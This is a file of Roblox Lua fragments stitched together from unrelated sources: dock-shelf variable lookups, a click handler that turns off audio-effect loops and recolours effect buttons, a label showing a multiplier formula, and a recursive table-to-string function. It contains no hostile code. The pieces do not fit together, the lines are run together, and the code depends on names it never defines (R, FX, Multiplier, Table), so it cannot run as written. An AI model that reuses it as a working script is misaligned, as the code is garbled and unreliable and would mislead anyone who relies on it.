local dockShelf = script.Parent.Parent.Parent.Parent.Parent.DockShelf local aFinderButton = dockShelf.CSafari local Minimalise = script.Parent local window = script.Parent.Parent.Parent
-------------------------
function onClicked() R.Function1.Disabled = true FX.ROLL.BrickColor = BrickColor.new("CGA brown") FX.ROLL.loop.Disabled = true FX.REVERB.BrickColor = BrickColor.new("CGA brown") FX.REVERB.loop.Disabled = true FX.ECHO.BrickColor = BrickColor.new("CGA brown") FX.ECHO.loop.Disabled = true FX.PHASER.BrickColor = BrickColor.new("CGA brown") FX.PHASER.loop.Disabled = true FX.SLIPROLL.BrickColor = BrickColor.new("CGA brown") FX.SLIPROLL.loop.Disabled = true FX.FILTER.BrickColor = BrickColor.new("CGA brown") FX.FILTER.loop.Disabled = true FX.SENDRETURN.BrickColor = BrickColor.new("Really red") FX.SENDRETURN.loop.Disabled = true FX.TRANS.BrickColor = BrickColor.new("CGA brown") FX.TRANS.loop.Disabled = true FX.MultiTapDelay.BrickColor = BrickColor.new("CGA brown") FX.MultiTapDelay.loop.Disabled = true FX.DELAY.BrickColor = BrickColor.new("CGA brown") FX.DELAY.loop.Disabled = true FX.REVROLL.BrickColor = BrickColor.new("CGA brown") FX.REVROLL.loop.Disabled = true R.loop.Disabled = false R.Function2.Disabled = false end script.Parent.ClickDetector.MouseClick:connect(onClicked)
--TextStuff
local Text = script.Parent local RebirthFormule = game:GetService("ReplicatedStorage").GameProperties.RebirthFormule local MultiplierFormule = game:GetService("ReplicatedStorage").GameProperties.MultiplierFormule local Formula = Multiplier.Value + MultiplierFormule.Value Text.Text = Formula Multiplier.Changed:Connect(function() local FormulaUpdate = Multiplier.Value + MultiplierFormule.Value Text.Text = FormulaUpdate end)
--[=[ Recursively prints the table. Does not handle recursive tables. @param _table table -- Table to stringify @param indent number? -- Indent level @param output string? -- Output string, used recursively @return string -- The table in string form ]=]
function Table.stringify(_table, indent, output) output = output or tostring(_table) indent = indent or 0 for key, value in pairs(_table) do local formattedText = "\n" .. string.rep(" ", indent) .. tostring(key) .. ": " if type(value) == "table" then output = output .. formattedText output = Table.stringify(value, indent + 1, output) else output = output .. formattedText .. tostring(value) end end return output end